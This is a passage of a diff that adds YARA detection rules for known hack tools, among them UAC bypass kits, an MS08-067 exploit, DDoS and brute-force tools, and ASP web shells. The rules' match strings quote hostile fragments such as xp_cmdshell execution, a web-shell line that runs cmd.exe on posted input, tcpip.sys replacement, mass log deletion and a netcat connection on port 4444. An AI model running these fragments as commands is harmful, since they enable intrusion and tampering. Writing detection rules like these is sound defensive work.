+		$s16 = "FastTracker v2.00   " fullword ascii
+	condition:
+		4 of them
+}
+
+rule iKAT_cmd_as_dll {
+	meta:
+		description = "iKAT toolset file cmd.dll ReactOS file cloaked"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 65
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
+	strings:
+		$s1 = "cmd.exe" fullword wide
+		$s2 = "ReactOS Development Team" fullword wide
+		$s3 = "ReactOS Command Processor" fullword wide
+
+		$ext = "extension: .dll" nocase
+	condition:
+		all of ($s*) and $ext
+}
+
+rule iKAT_tools_nmap {
+	meta:
+		description = "Generic rule for NMAP - based on NMAP 4 standalone"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 50
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
+	strings:
+		$s0 = "Insecure.Org" fullword wide
+		$s1 = "Copyright (c) Insecure.Com" fullword wide
+		$s2 = "nmap" fullword nocase
+		$s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii
+	condition:
+		all of them
+}
+
+rule iKAT_startbar {
+	meta:
+		description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 50
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
+	strings:
+		$s2 = "Shinysoft Limited1" fullword ascii
+		$s3 = "Shinysoft Limited0" fullword ascii
+		$s4 = "Wellington1" fullword ascii
+		$s6 = "Wainuiomata1" fullword ascii
+		$s8 = "56 Wright St1" fullword ascii
+		$s9 = "UTN-USERFirst-Object" fullword ascii
+		$s10 = "New Zealand1" fullword ascii
+	condition:
+		all of them
+}
+
+rule iKAT_Tool_Generic {
+	meta:
+		description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 55
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		super_rule = 1
+		hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
+		hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
+		hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
+	strings:
+		$s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
+		$s1 = "Failed to read the entire file" fullword
+		$s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
+		$s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
+		$s9 = "Running Zip pipeline..." fullword
+		$s10 = "<FinTitle />" fullword
+		$s12 = "<AutoTemp>0</AutoTemp>" fullword
+		$s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
+		$s15 = "AES Encrypting..." fullword
+		$s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword
+	condition:
+		all of them
+}
+
+rule BypassUac2 {
+	meta:
+		description = "Auto-generated rule - file BypassUac2.zip"
+		author = "yarGen Yara Rule Generator"
+		hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
+	strings:
+		$s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
+		$s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
+		$s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUac_3 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.dll"
+		author = "yarGen Yara Rule Generator"
+		hash = "1974aacd0ed987119999735cad8413031115ce35"
+	strings:
+		$s0 = "BypassUacDLL.dll" fullword wide
+		$s1 = "\\Release\\BypassUacDll" ascii
+		$s3 = "Win7ElevateDLL" fullword wide
+		$s7 = "BypassUacDLL" fullword wide
+	condition:
+		3 of them
+}
+
+rule BypassUac_9 {
+	meta:
+		description = "Auto-generated rule - file BypassUac.zip"
+		author = "yarGen Yara Rule Generator"
+		hash = "93c2375b2e4f75fc780553600fbdfd3cb344e69d"
+	strings:
+		$s0 = "/x86/BypassUac.exe" fullword ascii
+		$s1 = "/x64/BypassUac.exe" fullword ascii
+		$s2 = "/x86/BypassUacDll.dll" fullword ascii
+		$s3 = "/x64/BypassUacDll.dll" fullword ascii
+		$s15 = "BypassUac" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUacDll_6 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s3 = "BypassUacDLL.dll" fullword wide
+		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUacDll_7 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s3 = "BypassUacDLL.dll" fullword wide
+		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUac_EXE {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s1 = "Wole32.dll" wide
+		$s3 = "System32\\migwiz" wide
+		$s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
+		$s5 = "Elevation:Administrator!new:" wide
+		$s6 = "BypassUac" wide
+	condition:
+		all of them
+}
+
+rule APT_Proxy_Malware_Packed_dev
+{
+	meta:
+		author = "FRoth"
+		date = "2014-11-10"
+		description = "APT Malware - Proxy"
+		hash = "6b6a86ceeab64a6cb273debfa82aec58"
+		score = 50
+	strings:
+		$string0 = "PECompact2" fullword
+		$string1 = "[LordPE]"
+		$string2 = "steam_ker.dll"
+	condition:
+		all of them
+}
+
+rule Tzddos_DDoS_Tool_CN {
+	meta:
+		description = "Disclosed hacktool set - file tzddos"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
+	strings:
+		$s0 = "for /f %%a in (host.txt) do (" fullword ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+		$s6 = "del Result.txt s2.txt s1.txt " fullword ascii
+	condition:
+		all of them
+}
+
+rule Ncat_Hacktools_CN {
+	meta:
+		description = "Disclosed hacktool set - file nc.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "001c0c01c96fa56216159f83f6f298755366e528"
+	strings:
+		$s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+		$s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
+		$s3 = "gethostpoop fuxored" fullword ascii
+		$s6 = "VERNOTSUPPORTED" fullword ascii
+		$s7 = "%s [%s] %d (%s)" fullword ascii
+		$s12 = " `--%s' doesn't allow an argument" fullword ascii
+	condition:
+		all of them
+}
+
+rule MS08_067_Exploit_Hacktools_CN {
+	meta:
+		description = "Disclosed hacktool set - file cs.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a3e9e0655447494253a1a60dbc763d9661181322"
+	strings:
+		$s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
+		$s3 = "Make SMB Connection error:%d" fullword ascii
+		$s5 = "Send Payload Over!" fullword ascii
+		$s7 = "Maybe Patched!" fullword ascii
+		$s8 = "RpcExceptionCode() = %u" fullword ascii
+		$s11 = "ph4nt0m" fullword wide
+		$s12 = "\\\\%s\\IPC" ascii
+	condition:
+		4 of them
+}
+
+rule Hacktools_CN_Burst_sql {
+	meta:
+		description = "Disclosed hacktool set - file sql.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d5139b865e99b7a276af7ae11b14096adb928245"
+	strings:
+		$s0 = "s.exe %s %s %s %s %d /save" fullword ascii
+		$s2 = "s.exe start error...%d" fullword ascii
+		$s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
+		$s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
+		$s10 = "Result.txt" fullword ascii
+		$s11 = "Usage:sql.exe [options]" fullword ascii
+		$s17 = "%s root %s %d error" fullword ascii
+		$s18 = "Pass.txt" fullword ascii
+		$s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii
+	condition:
+		6 of them
+}
+
+rule Hacktools_CN_Panda_445TOOL {
+	meta:
+		description = "Disclosed hacktool set - file 445TOOL.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "92050ba43029f914696289598cf3b18e34457a11"
+	strings:
+		$s0 = "scan.bat" fullword ascii
+		$s1 = "Http.exe" fullword ascii
+		$s2 = "GOGOGO.bat" fullword ascii
+		$s3 = "ip.txt" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Panda_445 {
+	meta:
+		description = "Disclosed hacktool set - file 445.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
+	strings:
+		$s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
+		$s1 = "445\\nc.exe" fullword ascii
+		$s2 = "445\\s.exe" fullword ascii
+		$s3 = "cs.exe %1" fullword ascii
+		$s4 = "445\\cs.exe" fullword ascii
+		$s5 = "445\\ip.txt" fullword ascii
+		$s6 = "445\\cmd.bat" fullword ascii
+		$s9 = "@echo off" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_WinEggDrop {
+	meta:
+		description = "Disclosed hacktool set - file s.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
+	strings:
+		$s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
+		$s8 = "Something Wrong About The Ports" fullword ascii
+		$s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
+		$s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
+		$s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
+		$s13 = "%-16s %-5d -> \"%s\"" fullword ascii
+		$s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
+		$s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
+		$s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Scan_BAT {
+	meta:
+		description = "Disclosed hacktool set - file scan.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
+	strings:
+		$s0 = "for /f %%a in (host.txt) do (" fullword ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_Burst {
+	meta:
+		description = "Disclosed hacktool set - file Burst.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
+	strings:
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_445_cmd {
+	meta:
+		description = "Disclosed hacktool set - file cmd.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "69b105a3aec3234819868c1a913772c40c6b727a"
+	strings:
+		$bat = "@echo off" fullword ascii
+		$s0 = "cs.exe %1" fullword ascii
+		$s2 = "nc %1 4444" fullword ascii
+	condition:
+		$bat at 0 and all of ($s*)
+}
+
+rule Hacktools_CN_GOGOGO_Bat {
+	meta:
+		description = "Disclosed hacktool set - file GOGOGO.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
+	strings:
+		$s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
+		$s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
+		$s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
+		$s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
+		$s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
+		$s6 = "del /f tcpip.sys" fullword ascii
+		$s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
+		$s10 = "call scan.bat" fullword ascii
+		$s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
+		$s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
+		$s18 = "sc config LmHosts start= auto" fullword ascii
+		$s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
+		$s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii
+	condition:
+		3 of them
+}
+
+rule Hacktools_CN_Burst_pass {
+	meta:
+		description = "Disclosed hacktool set - file pass.txt"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "55a05cf93dbd274355d798534be471dff26803f9"
+	strings:
+		$s0 = "123456.com" fullword ascii
+		$s1 = "123123.com" fullword ascii
+		$s2 = "360.com" fullword ascii
+		$s3 = "123.com" fullword ascii
+		$s4 = "juso.com" fullword ascii
+		$s5 = "sina.com" fullword ascii
+		$s7 = "changeme" fullword ascii
+		$s8 = "master" fullword ascii
+		$s9 = "google.com" fullword ascii
+		$s10 = "chinanet" fullword ascii
+		$s12 = "lionking" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_JoHor_Posts_Killer {
+	meta:
+		description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
+	strings:
+		$s0 = "Multithreading Posts_Send Killer" fullword ascii
+		$s3 = "GET [Access Point] HTTP/1.1" fullword ascii
+		$s6 = "The program's need files was not exist!" fullword ascii
+		$s7 = "JoHor_Posts_Killer" fullword wide
+		$s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+		$s10 = "  ( /s ) :" fullword ascii
+		$s11 = "forms.vbp" fullword ascii
+		$s12 = "forms.vcp" fullword ascii
+		$s13 = "Software\\FlySky\\E\\Install" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_tesksd {
+	meta:
+		description = "Disclosed hacktool set - file tesksd.jpg"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
+	strings:
+		$s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
+		$s1 = "ExeMiniDownload.exe" fullword wide
+		$s16 = "POST %Hs" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Http {
+	meta:
+		description = "Disclosed hacktool set - file Http.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
+	strings:
+		$s0 = "RPCRT4.DLL" fullword ascii
+		$s1 = "WNetAddConnection2A" fullword ascii
+		$s2 = "NdrPointerBufferSize" fullword ascii
+		$s3 = "_controlfp" fullword ascii
+	condition:
+		all of them and filesize < 10KB
+}
+
+rule Hacktools_CN_Burst_Start {
+	meta:
+		description = "Disclosed hacktool set - file Start.bat - DoS tool"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
+	strings:
+		$s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" fullword ascii
+		$s1 = "Blast.bat /r 600" fullword ascii
+		$s2 = "Blast.bat /l Blast.bat" fullword ascii
+		$s3 = "Blast.bat /c 600" fullword ascii
+		$s4 = "start Clear.bat" fullword ascii
+		$s5 = "del Result.txt" fullword ascii
+		$s6 = "s syn %%i %%j 3306 /save" fullword ascii
+		$s7 = "start Thecard.bat" fullword ascii
+		$s10 = "setlocal enabledelayedexpansion" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_tasksvr {
+	meta:
+		description = "Disclosed hacktool set - file tasksvr.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
+	strings:
+		$s2 = "Consys21.dll" fullword ascii
+		$s4 = "360EntCall.exe" fullword wide
+		$s15 = "Beijing1" fullword ascii
+	condition:
+		all of them
+}
+rule Hacktools_CN_Burst_Clear {
+	meta:
+		description = "Disclosed hacktool set - file Clear.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
+	strings:
+		$s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
+		$s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
+		$s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
+		$s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
+		$s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
+		$s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
+		$s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
+		$s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
+		$s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Burst_Thecard {
+	meta:
+		description = "Disclosed hacktool set - file Thecard.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
+	strings:
+		$s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
+		$s1 = "Http://www.coffeewl.com" fullword ascii
+		$s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
+		$s3 = "for /L %%a in (" fullword ascii
+		$s4 = "MODE con: COLS=42 lines=5" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Burst_Blast {
+	meta:
+		description = "Disclosed hacktool set - file Blast.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "b07702a381fa2eaee40b96ae2443918209674051"
+	strings:
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
+		$s1 = "@echo off" fullword ascii
+	condition:
+		all of them
+}
+
+rule VUBrute_VUBrute {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
+	strings:
+		$s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
+		$s1 = "http://ubrute.com" fullword ascii
+		$s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
+		$s14 = "error.txt" fullword ascii
+	condition:
+		all of them
+}
+
+rule DK_Brute {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		reference = "http://goo.gl/xiIphp"
+		hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
+	strings:
+		$s6 = "get_CrackedCredentials" fullword ascii
+		$s13 = "Same port used for two different protocols:" fullword wide
+		$s18 = "coded by fLaSh" fullword ascii
+		$s19 = "get_grbToolsScaningCracking" fullword ascii
+	condition:
+		all of them
+}
+
+rule VUBrute_config {
+	meta:
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
+		author = "Florian Roth"
+		date = "22.11.14"
+		score = 70
+		reference = "http://goo.gl/xiIphp"
+		hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
+	strings:
+		$s2 = "Restore=1" fullword ascii
+		$s6 = "Thread=" ascii
+		$s7 = "Running=1" fullword ascii
+		$s8 = "CheckCombination=" fullword ascii
+		$s10 = "AutoSave=1.000000" fullword ascii
+		$s12 = "TryConnect=" ascii
+		$s13 = "Tray=" ascii
+	condition:
+		all of them
+}
+
+rule sig_238_hunt {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file hunt.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
+	strings:
+		$s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
+		$s3 = "Usage - hunt \\\\servername" fullword ascii
+		$s4 = ".share = %S - %S" fullword wide
+		$s5 = "SMB share enumerator and admin finder " fullword ascii
+		$s7 = "Hunt only runs on Windows NT..." fullword ascii
+		$s8 = "User = %S" fullword ascii
+		$s9 = "Admin is %s\\%s" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_listip {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file listip.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
+	strings:
+		$s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
+		$s2 = "ERROR No.2!!! Program Terminate." fullword ascii
+		$s4 = "Local Host Name: %s" fullword ascii
+		$s5 = "Packed by exe32pack 1.38" fullword ascii
+		$s7 = "Local Computer Name: %s" fullword ascii
+		$s8 = "Local IP Adress: %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule ArtTrayHookDll {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
+	strings:
+		$s0 = "ArtTrayHookDll.dll" fullword ascii
+		$s7 = "?TerminateHook@@YAXXZ" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_eee {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file eee.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
+	strings:
+		$s0 = "szj1230@yesky.com" fullword wide
+		$s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
+		$s4 = "MailTo:szj1230@yesky.com" fullword wide
+		$s5 = "Command1_Click" fullword ascii
+		$s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
+		$s11 = "vb5chs.dll" fullword ascii
+		$s12 = "MSVBVM50.DLL" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_asp4 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp4.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "faf991664fd82a8755feb65334e5130f791baa8c"
+	strings:
+		$s0 = "system.dll" fullword ascii
+		$s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
+		$s3 = "Public Function reboot(atype As Variant)" fullword ascii
+		$s4 = "t& = ExitWindowsEx(1, atype)" ascii
+		$s5 = "atype=request(\"atype\") " fullword ascii
+		$s7 = "AceiveX dll" fullword ascii
+		$s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
+		$s10 = "sys.reboot(atype)" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspfile1 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
+	strings:
+		$s0 = "' -- check for a command that we have posted -- '" fullword ascii
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
+		$s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
+		$s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
+		$s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
+		$s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii
+	condition:
+		3 of them
+}
+
+rule EditServer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
+	strings:
+		$s0 = "%s Server.exe" fullword ascii
+		$s1 = "Service Port: %s" fullword ascii
+		$s2 = "The Port Must Been >0 & <65535" fullword ascii
+		$s8 = "3--Set Server Port" fullword ascii
+		$s9 = "The Server Password Exceeds 32 Characters" fullword ascii
+		$s13 = "Service Name: %s" fullword ascii
+		$s14 = "Server Password: %s" fullword ascii
+		$s17 = "Inject Process Name: %s" fullword ascii
+
+		$x1 = "WinEggDrop Shell Congirator" fullword ascii
+	condition:
+		5 of ($s*) or $x1
+}
+
+rule sig_238_letmein {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file letmein.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
+	strings:
+		$s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
+		$s6 = "Error get users from server!" fullword ascii
+		$s7 = "get in nt by name and null" fullword ascii
+		$s16 = "get something from nt, hold by killusa." fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_token {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file token.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
+	strings:
+		$s0 = "Logon.exe" fullword ascii
+		$s1 = "Domain And User:" fullword ascii
+		$s2 = "PID=Get Addr$(): One" fullword ascii
+		$s3 = "Process " fullword ascii
+		$s4 = "psapi.dllK" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_TELNET {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
+	strings:
+		$s0 = "TELNET [host [port]]" fullword wide
+		$s2 = "TELNET.EXE" fullword wide
+		$s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
+		$s14 = "Software\\Microsoft\\Telnet" fullword wide
+	condition:
+		all of them
+}
+
+rule snifferport {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d14133b5eaced9b7039048d0767c544419473144"
+	strings:
+		$s0 = "iphlpapi.DLL" fullword ascii
+		$s5 = "ystem\\CurrentCorolSet\\" fullword ascii
+		$s11 = "Port.TX" fullword ascii
+		$s12 = "32Next" fullword ascii
+		$s13 = "V1.2 B" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_webget {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file webget.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
+	strings:
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "GET A HTTP/1.0" fullword ascii
+		$s2 = " error " fullword ascii
+		$s13 = "Downloa" ascii
+	condition:
+		all of them
+}
+
+rule XYZCmd_zip_Folder_XYZCmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
+	strings:
+		$s0 = "Executes Command Remotely" fullword wide
+		$s2 = "XYZCmd.exe" fullword wide
+		$s6 = "No Client Software" fullword wide
+		$s19 = "XYZCmd V1.0 For NT S" fullword ascii
+	condition:
+		all of them
+}
+
+rule ASPack_Chinese {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
